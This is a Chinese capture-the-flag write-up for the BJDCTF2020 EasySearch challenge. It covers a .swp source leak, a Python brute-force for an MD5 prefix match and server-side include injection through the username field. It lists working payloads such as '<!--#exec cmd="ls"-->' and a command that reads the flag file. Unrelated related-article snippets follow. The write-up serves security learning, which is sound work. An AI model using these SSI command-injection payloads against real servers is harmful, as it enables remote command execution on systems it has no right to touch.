练[BJDCTF2020]EasySearch

[BJDCTF2020]EasySearch

文章目录

      • [BJDCTF2020]EasySearch
      • 掌握知识
      • 解题思路
      • 关键paylaod

在这里插入图片描述

掌握知识

​ 目录扫描,index.php.swp文件泄露,代码审计,MD5区块爆破,请求响应包的隐藏信息,.shtml文件RCE漏洞利用

解题思路

  1. 打开题目链接,发现是一个登录界面,尝试使用万能密码登录失败,源码也没找到hint。使用dirsearch也没扫描到什么目录,但看着标题Search应该和dirsearch是有些关联把,尝试一些不常见的备份文件,查看有无文件泄露php- php~,发现存在index.php.swp文件泄露,而且正好就是登录界面的源代码

image-20231002111625422

?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
  1. 通过代码审计发现,用户名只要不为空即可,密码的话需要对输入密码进行MD5加密,只要前六位为6d0bc1即可验证成功,正好还留有爆破脚本。登录成功会有public的目录,会生成一个.shtml文件,文件的内容有一部分就是输入的用户名
if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '<h1>Hello,'.$_POST['username'].'</h1>'}}
  1. 使用MD5碰撞爆破脚本得到密码为2020666 2305004 9162671均可
from hashlib import md5for i in range(10000000):if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':print(i)
  1. 随意登录一个账号,登录成功后并没有发现public的文件地址,访问public目录也无权访问,但是查看响应包数据后发现了文件的url地址.访问文件后,发现和当初代码审计回显的内容差不多,aaaa位置是可控的

image-20231002113000679

image-20231002113057445

  1. 第一次遇到.shtml文件,上网搜索一番发现.shtml文件可以执行任意命令执行漏洞。简单来说就是能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。漏洞利用代码如下

    <!--#exec cmd="命令"-->
    
  2. 所以后续的思路很明显了,之前的代码审计了解到.shtml文件内的内容是可控的,所以只需要通过username输入框输入命令执行代码再次访问.shtml即可查看到回显的命令<!--#exec cmd="ls"-->

image-20231002113707995

image-20231002113710594

image-20231002113715278

  1. 成功进行了命令执行,测试发现,要想执行命令需要重新登录,将命令写入到新产生的的.shtml文件中,访问即可看到回显结果。如同上面的步骤,发现flag文件存放在网站根目录下,cat查看文件内容,直接拿下

image-20231002114437748

image-20231002114440777

image-20231002114429444

关键paylaod

from hashlib import md5for i in range(10000000):if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':print(i)<!--#exec cmd="ls"-->
<!--#exec cmd="ls /"-->
<!--#exec cmd="ls ../"-->
<!--#exec cmd="cat ../flag....."-->

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/150504.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Hive 【Hive(七)窗口函数练习】

窗口函数案例 数据准备 1&#xff09;建表语句 create table order_info (order_id string, --订单iduser_id string, -- 用户iduser_name string, -- 用户姓名order_date string, -- 下单日期order_amount int -- 订单金额 ); 2&#xff09;装载语句 i…

MongoDB集群管理

1、副本集-Replica Sets 1.1、简介 MongoDB中的副本集&#xff08;Replica Set&#xff09;是一组维护相同数据集的mongod服务。 副本集可提供冗余和高 可用性&#xff0c;是所有生产部署的基础。 也可以说&#xff0c;副本集类似于有自动故障恢复功能的主从集群。通俗的讲就…

基于安卓android微信小程序的旅游app系统

项目介绍 随着人民生活水平的提高,旅游业已经越来越大众化,而旅游业的核心是信息,不论是对旅游管理部门、对旅游企业,或是对旅游者而言,有效的获取旅游信息,都显得特别重要.自助定制游将使旅游相关信息管理工作规范化、信息化、程序化,提供旅游景点、旅游线路,旅游新闻等服务本…

根据中序与后序遍历结果构造二叉树

文章前言&#xff1a;对于中序与后序遍历不是太清楚的小白同学&#xff0c;作者推荐&#xff1a; 二叉树的初步认识_加瓦不加班的博客-CSDN博客 解题思路&#xff1a; 先通过后序遍历结果定位根节点 再结合中序遍历结果切分左右子树 代码实现&#xff1a; //1. pre-order 前…

网络和系统操作命令

目录 ping&#xff1a;用于检测网络是否通畅&#xff0c;以及网络时延情况。ipconfig&#xff1a;查看计算机的IP参数配置信息&#xff0c;如IP地址、默认网关、子网掩码等信息。netstat&#xff1a;显示协议统计信息和当前TCP/IP网络连接。tasklist&#xff1a;显示当前运行的…

接口测试复习Requests PyMysql Dubbo

一。基本概念 接口概念&#xff1a;系统与系统之间 数据交互的通道。 接⼝测试概念&#xff1a;校验 预期结果 与 实际结果 是否⼀致。 特征&#xff1a; 测试⻚⾯测试发现不了的问题。&#xff08;因为&#xff1a;接⼝测试 绕过前端界⾯。 &#xff09; 符合质量控制前移理…

C++设计模式-抽象工厂(Abstract Factory)

目录 C设计模式-抽象工厂&#xff08;Abstract Factory&#xff09; 一、意图 二、适用性 三、结构 四、参与者 五、代码 C设计模式-抽象工厂&#xff08;Abstract Factory&#xff09; 一、意图 提供一个创建一系列相关或相互依赖对象的接口&#xff0c;而无需指定它们…

【VIM】VIm初步使用

玩转Vim-从放弃到入门_哔哩哔哩_bilibili

java基础-第7章-常用类

一、包装类 概述 Java提供了两个类型系统&#xff0c;基本类型与引用类型&#xff0c;使用基本类型在于效率&#xff0c;然而很多情况&#xff0c;会创建对象使用&#xff0c;因为对象可以做更多的功能&#xff0c;如果想要我们的基本类型像对象一样操作&#xff0c;就可以使…

在WIN10平台上体验Microsoft古老的Quick C 1.0编程

前言&#xff1a; 90年代初&#xff0c;微软出了Quick系统对抗Borland Turbo系列&#xff0c;其中包括 QuickBasic, QuickPascal和Quick C。1991年&#xff0c;Quick C for Windows 1.0发布&#xff0c;后来它被Visual C取代。我自己觉得微软成就在那个winstub.exe桩上&#xf…

【ElasticSearch】深入了解 ElasticSearch:开源搜索引擎的力量

文章目录 前言一、初识 ElasticSearch 搜索引擎1.1 ElasticSearch 的核心概念1.2 ElasticSearch 的演进历程1.3 ElasticSearch 的优势与未来 二、正排索引与倒排索引&#xff1a;数据库与 ElasticSearch 的差异2.1 对正排索引的认识2.2 对倒排索引的认识2.3 正排索引 vs. 倒排索…

【yolov系列:yolov7改进添加SIAM注意力机制】

yolo系列文章目录 文章目录 yolo系列文章目录一、SimAM注意力机制是什么&#xff1f;二、YOLOv7使用SimAM注意力机制1.在yolov7的models下面新建SimAM.py文件2.在common里面导入在这里插入图片描述 总结 一、SimAM注意力机制是什么&#xff1f; 论文题目&#xff1a;SimAM: A …

P1017 [NOIP2000 提高组] 进制转换

#include<iostream> #include<cstdio> #include<cmath> #include<cstring> using namespace std;void zhuan(int n,int r) {if(n0) return ;int mn%r;//m为余数 if(m<0) m-r,nr;//如果余数小于0&#xff0c;转化为正数//将余数转化为ascll码方便输出…

土木硕设计院在职转码上岸

一、个人介绍 双非土木硕&#xff0c;98年&#xff0c;目前在北京&#xff0c;职位为前端开发工程师&#xff0c;设计院在职期间自学转码上岸&#x1f33f; 二、背景 本人于19年开始土木研究生生涯&#xff0c;研二期间去地产实习近半年(碧桂园和世茂&#xff0c;这两家的地产…

flex 布局:元素/文字靠右

前言 略 使用flex的justify-content属性控制元素的摆放位置 靠右 <view class"more">展开更多<text class"iconfont20231007 icon-zhankai"></text></view>.more {display: flex;flex-direction: row;color: #636363;justify-co…

校招秋招,性格和职业有关系吗?

企业在招聘应届毕业生时不再局限于普通的面试或者笔试&#xff0c;在互联网时代&#xff0c;为了能够更好的匹配需要的优质人才&#xff0c;企业会通过各种测试来提高招聘的准确率以及成功率。也许以前很多人都听说过性格和职业是有一定关系的&#xff0c;但是如何确定自己的性…

Go复合类型之数组类型

Go复合类型之数组 文章目录 Go复合类型之数组一、数组(Array)介绍1.1 基本介绍1.2 数组的特点 二、数组的声明与初始化2.1 数组声明2.2 常见的数据类型声明方法2.3 数组的初始化方式一&#xff1a;使用初始值列表初始化数组方法二&#xff1a;根据初始值个数自动推断数组长度方…

【C++】STL详解(十二)—— 用哈希表封装出unordered_map和unordered_set

​ ​&#x1f4dd;个人主页&#xff1a;Sherry的成长之路 &#x1f3e0;学习社区&#xff1a;Sherry的成长之路&#xff08;个人社区&#xff09; &#x1f4d6;专栏链接&#xff1a;C学习 &#x1f3af;长路漫漫浩浩&#xff0c;万事皆有期待 上一篇博客&#xff1a;【C】STL…

阿里云ECS服务器上启动的portainer无法访问的问题

如下图&#xff0c;在阿里云ECS服务器上安装并启动了portainer&#xff0c;但是在自己电脑上访问不了远程的portainer。 最后发现是要在网络安全组里开放9000端口号&#xff0c;具体操作如下&#xff1a; 在云服务器管理控制台点击左侧菜单中的网络与安全-安全组&#xff0c;然…

黑豹程序员-架构师学习路线图-百科:Database数据库

文章目录 1、什么是Database2、发展历史3、数据库排行网4、总结 1、什么是Database 当今世界是一个充满着数据的互联网世界&#xff0c;各处都充斥着大量的数据。即这个互联网世界就是数据世界。 支撑这个数据世界的基石就是数据库&#xff0c;数据库也可以称为数据的仓库。 …